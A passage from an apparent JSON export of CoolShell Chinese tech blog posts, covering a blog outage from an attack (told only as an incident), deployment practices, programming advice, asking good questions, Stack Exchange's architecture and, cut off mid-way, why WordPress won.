[![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/1949.html)[Web中的省略号](https://coolshell.cn/articles/1949.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\nThe post [Web开发人员速查卡](https://coolshell.cn/articles/3684.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-17 欢迎攻击酷壳.md",
    "content": "---\nlayout: post\ntitle: 欢迎攻击酷壳\ndate: 2011/2/17/ 2:3:28\nupdated: 2011/2/17/ 2:3:28\nstatus: publish\npublished: true\ntype: post\n---\n\n相信大家都发现昨天下午2011年2月16日，下午从2点到6点，酷壳基本打不开。原因是服务器受到了黑客攻击。从互联网上几乎ping不通服务器（丢包率60%以上，ping时延巨大，是平时的10倍以上），我勉强登上服务器查看了系统负载，相当低，于是停止了Apache，发现网络ping马上恢复正常。于是，我启动Apache，再使用iftop查看了一下TCP链接的带宽消耗，发现有那么一两个链接把服务器带宽全部吃完，于是我记录了下IP地址。攻击在下午6点时准停止，就像我们正常下班一样。\n\n\n酷壳受到很多攻击，不过，基本上都是一些注入式的攻击，都是想取得一些权限的攻击。这是第一次受到不以取得权限为目的，而只在以影响酷壳正常运转的攻击。\n\n\n我不竟想到了几个问题：\n\n\n1. 为什么要攻击？这只是一个技术blog，这样的攻击目的是什么？\n2. 黑客攻击的背后总是有相关的利益冲突的，不会是没有动机的攻击。\n\n\n所以，我一直在想，是什么样的利益冲突导到酷壳被攻击的？这个BLOG得罪了谁呢？我这个小小的个人的BLOG触动了谁的利益呢？任何事情总是有因果关系的，我很不自然地想到了最近我发布的几篇文章……\n\n\n欢迎攻击酷壳！我很乐意看到某些人生气的样子。\n\n\n  \n\n\n\n\n\n> **[陈皓](#comment-30044) :**\n> \n> \n> 谢谢大家的关心。没关系，攻击就攻击吧，攻击这里没有任何的价值。因为，\n> \n> \n> * 我这里又不挣钱，我个人也没钱，这个网站又没有什么商业运作，我也不图利，所以从这图利是图不到的。\n> * 这里的文章RSS输出到很多地方，如GR，douban，有道，鲜果，抓虾……，就算是这里不能正常运转，也不妨碍大家阅读文章。\n> \n> \n> 所以，**黑客同学，你即不能从这里获利，也不能阻止大家看文章，更不能左右大家的想法。而且黑客行为是刑事犯罪，你即得不到任何好处，还要背上那么大的风险，何必呢？**（我相信黑客同学既然有智商能够使用黑客技术，那一定有智商搞清楚这个问题）\n> \n> \n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/8031.html)[InfoQ的ArchSummit大会对我的采访](https://coolshell.cn/articles/8031.html)\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/3335.html)[Groovy是怎么实现createArray的](https://coolshell.cn/articles/3335.html)\n* [![一些有意思的网站和贴子](../wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg)](https://coolshell.cn/articles/3480.html)[一些有意思的网站和贴子](https://coolshell.cn/articles/3480.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2376.html)[McAfee误杀svchost.exe](https://coolshell.cn/articles/2376.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1525.html)[GDB 7.0 发布](https://coolshell.cn/articles/1525.html)\nThe post [欢迎攻击酷壳](https://coolshell.cn/articles/3686.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-20 预发布环境,Tag发布机制和可重复的部署过程.md",
    "content": "---\nlayout: post\ntitle: 预发布环境,Tag发布机制和可重复的部署过程\ndate: 2011/2/20/ 7:28:59\nupdated: 2011/2/20/ 7:28:59\nstatus: publish\npublished: true\ntype: post\n---\n\n**下面文章由网友[吕毅](http://blog.lvscar.info/)投递，源文是：<http://blog.lvscar.info/?p=427>**\n\n\n—————————————————————————————————————————————\n\n\n周末聚会，无意间聊起建筑行业。自己是搞软件开发的，我们的行业从建筑设计/施工过程中借鉴了大量的概念，隐喻，名词。可以说软件就是现实中伴随整个人类历史发展的“建筑”在虚拟空间中的投影。有个两年前问过其他朋友的问题，这次友人又再次提起，“为什么建筑设计过程中没有普遍性的采用版本控制呢？” 瞎扯了一干各种原因后，我们几乎同时想到一个名字”Joel”，建筑设计行业或许缺乏像[Joel Spolsky](http://www.joelonsoftware.com/)一样十数年如一日，把自己丰富的经验和深入的思考转化成一篇篇文章以向新人传授软件开发过程中那些容易被忽略的概念。高傲的黑客们会对CMMI之类的认证抱以鄙夷之情，但对Joel整理出的12条写出更好软件的”最佳实践”，大家甚至把此称为审视其他团队开发过程的[“Joel TEST”](http://www.joelonsoftware.com/articles/fog0000000043.html)以推崇\n\n\n这12条测试如下:\n\n\n\n> 1. 是否启用版本控制？\n> \n> \n> 2. 是否可以一步构建?\n> \n> \n> 3. 是否进行每日构建？\n> \n> \n> 4. 是否有bug跟踪列表？\n> \n> \n> 5. 是否在修改bug后，才开始写新代码？\n> \n> \n> 6. 是否及时更新工作计划？\n> \n> \n> 7. 是否在开发前编写了大家一致认可的功能文档？\n> \n> \n> 8. 是否有安静的工作环境？\n> \n> \n> 9. 是否在使用最好的软件开发工具？\n> \n> \n> 10.是否有专职测试人员？\n> \n> \n> 11.是否在面试时以实际编写代码来检查求职者？\n> \n> \n> 12.是否利用陌生人进行可用性测试？\n> \n> \n\n\n你所在的团队符合其中的几条呢？ 觉得这些条目太一般，软件开发原本就该如此？ Joel Test写于十年前，一个Windows XP，Mac OS X,Ubuntu都还没有面世的年代。 如果你觉得这些条目有些过时了，Google中搜索“Joel Test”，你可以看到这十年内很多对此进行更新的尝试, 比如这两个页面[“The Joel Test Update for 2010″](http://geekswithblogs.net/btudor/archive/2009/06/16/132842.aspx),[“Joel Test for web dev”](http://allinthehead.com/retro/228/).\n\n\n\n我的主要工作集中在”Web/Mobile Web”领域，在”Joel Test”写就的年代，Web技术仅仅是一些用记事本就能写出的Html页面。但到了今天，到了经历过BS浪潮,后端编程语言井喷涌现，Ajax和HTML5变得人人皆知的今天。Web技术已经变成了一个由N种后端技术\\*N种开发语言/框架\\*N种前端技术交织起来的复杂体系。Web 程序员们觉得Joel开出的列表仍然有价值,那是因为我们的大部分工作仍然延续着上一代程序员们开创的轨迹；我们仍然在通过程序代码释创造力同时避免BUG的出现;我们仍然得谨慎的在强大,华丽与高效之间做着权衡. 相比客户端,Web技术最大的优势在于部署成本的节省,我们的程序和Joel年代最大的区别也在于此。这一年来新的工作岗位让我学到了很多,部署过程正是其中我觉得最值得和大家分享的部分.\n\n\n下面这个列表来自前阵子看到的一篇很好的文章[Staging Servers, Source Control & Deploy Workflows, And Other Stuff Nobody Teaches You](http://www.kalzumeus.com/2010/12/12/staging-servers-source-control-deploy-workflows-and-other-stuff-nobody-teaches-you/),标题中的列出的三项和我的体会高度吻合,下面我会对他们一一做出自己的诠释\n\n\n\n> 1.是否采用了预发布环境\n> \n> \n> 2.是否以Tag作为发布单位\n> \n> \n> 3.是否让部署过程是可重复的\n> \n> \n\n\n\n### 是否采用了预发布环境\n\n\n关于测试驱动开发的鼓吹中,”免除对代码修改的恐惧”十分具有诱惑力.我们都不喜欢功能逐渐丰富过程中冷不防出现的各种BUG,这些BUG打乱我们的计划,破坏我们的心情,从而让我们对开发新功能的旅程心存恐惧.TDD的最大魅力也来自于通过测试先行来保证后续的功能扩展相对于预期是可验证的. 不过无论你的WEB开发过程是怎样的,最终的代码和内容还是要通过发布来送达到用户浏览器中,你可以对PK需求,修改BUG,延长加班毫无畏惧,但你不能忽略用户体验.代码一旦部署到正式环境上,对你工作的评判不再是项目组中关心你,体谅你的同事.而是千万对错误零容忍的用户. 在发布前你已经做过周全的测试? 新增的每一项功能已经测试过? 很好.不过是在你的开发环境或某处偏僻的”测试环境”中? 服务器OS不一样,Web Server有差别,缓存服务未启用,APP容器或解释器,数据库版本有差别,没接通第三方API, 这所有的一切都可能会造成发布后,你自己或用户刷新网站后的那声”What The fuck?”, 我想这应该是较之修改BUG,你更不想面对的情景吧.\n\n\n总的说来,”预发布环境”就等于没有真实用户访问的生产环境, 除了让用户不能访问到外,尽一切可能让这个环境和生产环境一致.每次正式发布时以这个环境为目标,测试流程完成后.把发布内容从这个环境”平移”到生产环境.\n\n\n\n\n### 是否以Tag作为发布单位\n\n\n从业几年来,”所在团队把SVN当FTP用”是几乎每次朋友们互相吐槽时都能听到的话题,”SVN的分支合并太难用;需要更密切和团队伙伴共享工作内容…”我们可以很轻松的找到不创建功能分支然后进行合并的理由,事实上这么做可能也有一定的”合理性”.但发布时打个Tag,对你的现有开发流程几乎不会带来负担.你不需要切换到[Git](http://git-scm.com/)或[Mercury](http://mercurial.selenic.com/),唯一要做的只是在提交后,发布前运行一行svn copy命令,然后在发布目标上用svn switch命令代替svn update来更新代码.只有一点需要注意,创建Tag的svn copy命令的目标最好是一个新的SVN仓库地址(新Tag路径),而不是本地目录.这么做的理由是当以仓库路径作为svn copy目标时,不会产生文件拷贝,而以本地路径为目标执行时,会发生文件拷贝,如果项目包含很多文件,这个过程会较为漫长.如果想避免本地打tag时的文件拷贝,你可切换到分布式版本控制系统.\n\n\n这么做的好处也是明显的,虽然我们已经通过预发布环境规避了大部分发布环境可能引入的问题.但当那”万一”发生时.你能够以最快的速度切换到上一次发布时的状态.通常可以通过”$svn switch [上次发布Tag的SVN路径]“一行命令搞定.\n\n\n\n\n### 是否让部署过程是可重复的\n\n\n如果你所在的团队对开发和运维工作进行了严格切分,这不会是一个问题.但不是所有项目都会到这个规模,如果你是一个幸福的能变更生产环境的Web程序员,请千万小心,你对生产环境的每次调整/优化,都可能让项目部署过程变得不可重复.随着时间的推移,你会忘记当时的配置项.一旦项目需要扩容,恢复,移交.这过程都可能演变成灾难.\n\n\n上面提到那篇文章中,提倡用部署脚本来管理部署过程.这是很好的解决方法,但如果你暂时缺乏系统脚本编程能力.分门别类把每次环境配置过程记录清楚吧,就当这项工作要在你不在场的情况下被别人重复执行.\n\n\n\n别人说我们是”码农”,我们要把自己当工程师.\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![持续部署，并不简单！](../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg)](https://coolshell.cn/articles/7657.html)[持续部署，并不简单！](https://coolshell.cn/articles/7657.html)\n* [![Mozilla的一个BUG](../wp-content/uploads/2010/09/Mozilla-150x150.jpg)](https://coolshell.cn/articles/2936.html)[Mozilla的一个BUG](https://coolshell.cn/articles/2936.html)\n* [![“作环保的程序员，从不用百度开始”](../wp-content/uploads/2013/03/01-1-150x150.png)](https://coolshell.cn/articles/9308.html)[“作环保的程序员，从不用百度开始”](https://coolshell.cn/articles/9308.html)\n* [![粉丝眼中的操作系统](../wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg)](https://coolshell.cn/articles/1998.html)[粉丝眼中的操作系统](https://coolshell.cn/articles/1998.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3445.html)[输出从1到1000的数](https://coolshell.cn/articles/3445.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/909.html)[7个免费强大的Ajax文件管理器](https://coolshell.cn/articles/909.html)\nThe post [预发布环境,Tag发布机制和可重复的部署过程](https://coolshell.cn/articles/3709.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-21 提高编程技能最有效的方法.md",
    "content": "---\nlayout: post\ntitle: 提高编程技能最有效的方法\ndate: 2011/2/21/ 0:31:3\nupdated: 2011/2/21/ 0:31:3\nstatus: publish\npublished: true\ntype: post\n---\n\nStackExchange.com上有两个贴子（[贴子一](http://programmers.stackexchange.com/questions/3089/what-is-the-single-most-effective-thing-you-did-to-improve-your-programming-skill)，[贴子二](http://programmers.stackexchange.com/questions/44177/what-is-the-single-most-effective-thing-you-did-to-improve-your-programming-skill)），贴子名叫“What is the single most effective thing you did to improve your programming skills?” – 对你的编程技术提高最有效的一件事是什么？回复的人中给了很多很不错的建议，我把他们总结了一下，十条，相信一定会对你有用。（注意：顺序是我自己按我的个人经验排的）\n\n\n* 和比自己聪明的能力比自己强的人工作。学习他们的代码，他们的做事方法，看一看那些人是怎么处理错误的。\n\n\n* 总是倾听别人怎么说，无论那个的资历和职位是什么样的。\n\n\n* 实践，实践，实践，总是不满意于一开始出来的事。\n\n\n* 多问问自己，现在在写什么代码？为什么要这样写成这样？还有没有更好的方法？\n\n\n* 学习多样的技术，多多比较他们，并一定要了解各种技术的优缺点。\n\n\n* 总是问别人问好的问题。\n\n\n* 多回头看看走过的路，做过的事，写过的程序，感觉一下他们有多烂。\n\n\n* 多读读那些大师写的书。\n\n\n* 不要总坐在电脑前编程序，多做做运动，多到户外走走，和非技术人多接触，向他们学习。\n\n\n* 把你的想法说出去，看看别人怎么回应的。从别人的回应中学习。\n\n\n除了这些，下面是我个人想给你的建议——\n\n\n  \n\n可能只能算精神，不能算方法。我以前也写过《[五个方法成为更好的程序员](https://coolshell.cn/articles/2606.html)》，《[十条不错的编程观点](https://coolshell.cn/articles/2424.html)》，还有《[优秀程序员的十个习惯](https://coolshell.cn/articles/222.html)》这几篇文章也能给你一些启发。\n\n\n* **热情**。对编程充满热情。这种热情会导致强烈地专研精神，和努力的精神。**专研精神相当重要，它是畏难情绪的天敌**。\n\n\n* **知道**。学习技术要“知其道，明其理”，而不仅仅只是了解知识。举例，为什么C++有“初始化例表”而Java却没有？为什么Java的没有多重继承？为会有了TCP还要UDP？对于一个事物，什么是好的，什么是不好的。不但要了解其表面，还要了解其思想。**只有了解原始的初衷和目的，你才能真正“知道”**。\n\n\n* **犯错**。不犯错误永远没有经验，从自己的错误和别人的错误中学习，只有自己犯了错，才会真正明白。犯错不可怕，可怕的是不会总结只有真正的摸爬滚打过的人才是强人。**技能和经验总是用错误去换来的**。\n\n\n* **回顾**。要多去回顾过去，看看历史上发生过的事。这样你才能明白事物的发展规律，从面才能了解未来的路。举例：单机 -> Client/Server -> 中间应用层 -> 多层结构 -> 分布式结构。 C -> C++ -> Java，等等，等等。**未来其实就在回顾过去之中**。\n\n\n* **质疑**。质疑精神很重要。质疑通常会导致不同意见甚至反对意见。也许你会质疑错，也许你会被质疑，但是你的认知也会因为不同的观点而变得完整。有所同有所不同（“同”为同意及相同），**观点因为不同才能迸发出火花，事物也此而发展，世界因为不同而精彩**。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [提高编程技能最有效的方法](https://coolshell.cn/articles/3698.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-22 你会问问题吗？.md",
    "content": "---\nlayout: post\ntitle: 你会问问题吗？\ndate: 2011/2/22/ 0:40:49\nupdated: 2011/2/22/ 0:40:49\nstatus: publish\npublished: true\ntype: post\n---\n\n在工作和生活中，总是会有很多人问题我很多技术方面的问题。有一些时候，问问题的和答问题的总是会有一些不爽的事情发生。如下面的几种情况：\n\n\n* 比如：“我的电脑老是蓝屏，怎么办？”，通常这样的问题90%以上的回答是：“重装吧”。这让问问题的人感到很沮丧，但你不能不承认那不是答案。而且有时候让人无法解答，比如：“我的makefiel出错了，你帮我看看我的makfile”，我通常会非反问，报了什么错吗？\n* 另一种情况是，回答问题的人首先先对问问题的人的抱怨，你问的问题就不对，或是，你问的这个问题是什么意思，而导致问问题的人却在不停地解释，结果花了好长时间来讨论问题本身是什么。\n* 还有一种情况是，问的问题太简单了甚至太白痴了，比如你自己试一试或是读读文档就知道了的问题，或是问这个问题直接表明了你的无知或是懒惰。这种问题会相当影响别人对你的印象。\n* 第四种情况是，提问者滔滔不绝，扯这扯那，讲了一大堆，听得听累了。最后都不知道你要干什么。\n\n\n所以，怎么去问问题，怎么问一个好的问题，是一个很重要的事。你提问的技术直接关系到了你是否能够很快得到你满意的答案。\n\n\n这里有一篇文章推荐给大家《[How To Ask Questions The Smart Way](http://www.catb.org/~esr/faqs/smart-questions.html)》，中文版在这里《[提问的智慧](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way)》，我把其中的几个亮点总结如下：\n\n\n\n* 提问前先自己尝试查找答案，读读文档、手册，看看有没有相似的问题，看看那些方法能不能帮你解决问题，自己去试一试。如果你是程序员，你应该先学会自己调查一下源代码。（不然，人家回答你的一定是——RTFM – Read The Fucking Manual）这样的问题很多。我有时候很不愿意回答这样的问题，因为我觉得问问题的人把我当成了他的小跟班了。\n\n\n* 提问的时候，找正确的人或是正确的论坛发问。向陌生人或是不负责的人提问可能会是很危险的。不正确的人，会让你事倍功半。如果你问Linux的人Windows太慢怎么办？他们一定会让你把Windows删了装Linux去的。\n\n\n* 问的问题一定要是很明确的，并且阐述你做了哪些尝试，你一定要简化你的问题，这样可以让你的问题更容易被回答。对于一些问题，最好提供最小化的重现问题的步骤。\n\n\n* 你一定要让问题变得简单易读，这和写代码是一样的。只有简单易读的邮件，人们才会去读，试想看到一封巨大无比的邮件，读邮件的心情都没有了。而且，内容越多，可能越容易让人理解错了。\n\n\n* 你问问题的态度应该是以一种讨论的态度，即不是低三下四，也不是没有底气。只有这样，你和你的问题才能真正被人看得起。要达到这个状态，不想让别人看不起你，你就一定需要自己去做好充足的调查。问题 问得好的话，其实会让人觉得你很有经验的，能想到别人想不到的地方。\n\n\n* 不要过早下结论。比如：“我这边的程序不转了，我觉得是你那边的问题，你什么时候能fix？”，或是“太难调试了，gdb怎么这么烂？！”。当你这么做的时候，你一定要有足够的信息和证据，否则，你就显得很自大。好的问题应该是，“我和你的接口的程序有问题，我输入了这样的合法的参数，但是XX函数却总是返回失败，我们能一起看看吗？”，“我看了一下gdb的文档，发现我在用XXX命令调试YYY的时候，有这样ZZZ的问题，是不是我哪里做错了？”\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![X-Y Problem](../wp-content/uploads/2013/12/x-y.problem-150x150.jpg)](https://coolshell.cn/articles/10804.html)[X-Y Problem](https://coolshell.cn/articles/10804.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\nThe post [你会问问题吗？](https://coolshell.cn/articles/3713.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-23 Stack Exchange 的架构.md",
    "content": "---\nlayout: post\ntitle: Stack Exchange 的架构\ndate: 2011/2/23/ 5:31:4\nupdated: 2011/2/23/ 5:31:4\nstatus: publish\npublished: true\ntype: post\n---\n\n近日，Stack Exchange系统管理员blog上发布了一篇关于[Stack Exchange的架构一瞥](http://blog.serverfault.com/post/stack-exchanges-architecture-in-bullet-points/)，其包括了Stack Overflow, Server Fault 和 Super User的 Stack Exchange 网络。注意最后一个关于人员的配置。希望能给大家一些相关的参考。\n\n\n#### 网络流量\n\n\n* 每月9千5百万个PV\n* 每秒800 HTTP 请求\n* 每秒180 DNS 请求\n* 每秒55Mb 的带宽\n\n\n#### 数据中心\n\n\n* 1 机柜 位于俄勒冈的 [Peak Internet](http://www.peakinternet.com/) (用于[chat](http://chat.stackexchange.com/) 和[Data Explorer](http://data.stackexchange.com/))\n* 2 机框 位于 纽约的 [Peer 1](http://www.peer1.com/) ( 用于其它的 Stack Exchange Network)\n\n\n\n#### 生产服务器\n\n\n* 12 Web Servers (Windows Server 2008 R2)\n* 2 Database Servers (Windows Server 2008 R2 and SQL Server 2008 R2)\n* 2 Load Balancers (Ubuntu Server and HAProxy)\n* 2 Caching Servers (Redis on CentOS)\n* 1 Router / Firewall (Ubuntu Server)\n* 3 DNS Servers (Bind on CentOS)\n\n\n(生产服务器不含故障备份和管理服务器)\n\n\n#### 使用了的相关的软件和技术\n\n\n* [C# / .NET](http://www.microsoft.com/net/)\n* [Windows Server 2008 R2](http://www.microsoft.com/windowsserver2008/en/us/default.aspx)\n* [SQL Server 2008 R2](http://www.microsoft.com/sqlserver/en/us/default.aspx)\n* [Ubuntu Server](http://www.ubuntu.com/server)\n* [CentOS](http://www.centos.org/)\n* [HAProxy](http://haproxy.1wt.eu/) 用于负载均衡\n* [Redis](http://redis.io/) 用于缓存\n* [CruiseControl.NET](http://sourceforge.net/projects/ccnet/) 用于做builds\n* [Lucene.NET](http://lucene.apache.org/lucene.net/) 用于搜索\n* [Bacula](http://www.bacula.org/en/) 用于做备份\n* [Nagios](http://www.nagios.org/) (with n2rrd and drraw plugins) 用于系统监控\n* [Splunk](http://www.splunk.com/) 用于日志\n* [SQL Monitor from Red Gate](http://www.red-gate.com/products/dba/sql-monitor/) 用于监控SQL Server\n* [Mercurial](http://mercurial.selenic.com/) / [Kiln](http://www.fogcreek.com/kiln/) 用于源码管理\n* [Bind](http://www.isc.org/software/bind) 用于 DNS\n\n\n#### 程序员和系统管理员\n\n\n* 14 程序员\n* 2 系统管理员\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![你确信你了解时间吗？](../wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png)](https://coolshell.cn/articles/5075.html)[你确信你了解时间吗？](https://coolshell.cn/articles/5075.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4549.html)[Facebook 的系统架构](https://coolshell.cn/articles/4549.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2529.html)[StackOverflow的404错误页](https://coolshell.cn/articles/2529.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/1242.html)[23,148,855,308,184,500](https://coolshell.cn/articles/1242.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/2078.html)[如何防范密码被破解](https://coolshell.cn/articles/2078.html)\nThe post [Stack Exchange 的架构](https://coolshell.cn/articles/3721.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-23 WordPress是怎么赢的？.md",
    "content": "---\nlayout: post\ntitle: WordPress是怎么赢的？\ndate: 2011/2/23/ 0:25:32\nupdated: 2011/2/23/ 0:25:32\nstatus: publish\npublished: true\ntype: post\n---\n\n一个以前在Six Apart工作4年的产品经理**Byrne Reese**发布了[一篇文章](http://www.majordojo.com/2011/02/how-did-wordpress-win.php)阐述为什么WordPress成为了赢家。其在文章中比较了WordPress和其主要竞争对手产品Movable Type。我觉得其中有可取之处，本想全文翻译的，后来觉得文章太长，翻译太花时间，所以，我把文章中的观点总结如下。\n\n\n作者例举了如下为什么WordPress会赢的理由：\n\n\n**一、Movable Type许可证，而WordPress是开源的**\n\n\n2004年，Movable Type修改了其许可证，这一举动激怒了所有Movable Type的用户，于是大家纷纷转投Wordpress，这是WordPress最终成为赢家最大的原因。就算是Movable Type有着优越的设计，优越的功能，还有优越的技术支持，但是面对的是一个完全免费的产品也没有办法。因为WordPress是开源的，开源就意味着完全免费，而Movable Type一开始也是免费的，但是其许可证策略有着很不确定的因素。（注：2007年Movable Type发布了开源版本）\n\n\n**二、WordPress很容易安装**\n\n\nWordPress的安装过程很简单，只需要不到5分钟，比起Movable Type来说，这太受用户和推广商欢迎，你几乎不需要去碰后台的那些Web设置。（注：不仅如此，WordPress的升级和安装插件和风格的用户体验也是非常的不错）这就是为什么大家都喜欢WordPress的原因，就算是其功能比Movable Type少了又少。\n\n\n\n**三、WordPress由PHP写成**\n\n\n作者说到，本来，语言不应该成为原因，绝大多数用户在使用新产品时是不会去自己修改PHP和Perl的源码的。但是好像人们对PHP有着天生的好感。相比起Movable Type的Perl，人们似乎没有像对PHP那样觉得舒服。Perl让人感觉有些害怕。而PHP让更多的人参与进来为WordPress贡献了大量的插件和风格。另外，PHP相对于Perl来说，对于工作的技能要求不高，所以，可以很容易维护。对于技术人员来说，会有更多的人去建议老板使用PHP而不是Perl，而更多的主机空间采用PHP而不是Perl。（我个人以为，这和WordPress的设计关系可能更大，所有的Blog系统，WordPress的可定制化支持得更好一些）\n\n\n**四、WordPress的社区规模相当的大**\n\n\nWordPress之所以那么成功，有一个因素要归结于其社区，这个社区创造力实在是很强大。而且，这个社区周边有一个健康的经济商圈——“Premium Theme”，越来越多的人可以从中挣到一些钱，这样也让他们更有动力回报这个社区，这是一个非常健康的良性循环。\n\n\n**五、WordPress没有人进行强控制**\n\n\n对于WordPress来说，上述的那些事情都是社区决定的，而不是WordPress内部的人，WordPress没有选择过其许可证和编程语言。\n\n\n**六、WordPress的狂热崇拜**\n\n\n在一开始，WordPress并没有把自己定位在超出自己能力的地方，其把自己定位在不是那么优越的地方。低调的策略让WordPress的口碑不错。另一个因素是因为，Six Apart曾对WordPress进行过诽谤，这让Six Apart的诚信受到质疑，因此反而让人们更加地喜欢WordPress。再加上WordPress的谦虚低调，于是人们对WordPress产品产生了感情以及信仰，并开始和WordPress一同作战。是的，Six Apart不是一个竞争对手，而是一个完美的敌人。\n\n\n**七、Automattic的切换战役**\n\n\nAutomattic是WordPress的运作公司。这是一个并不是很光彩的事情。作者说，有很多忠诚的Movable 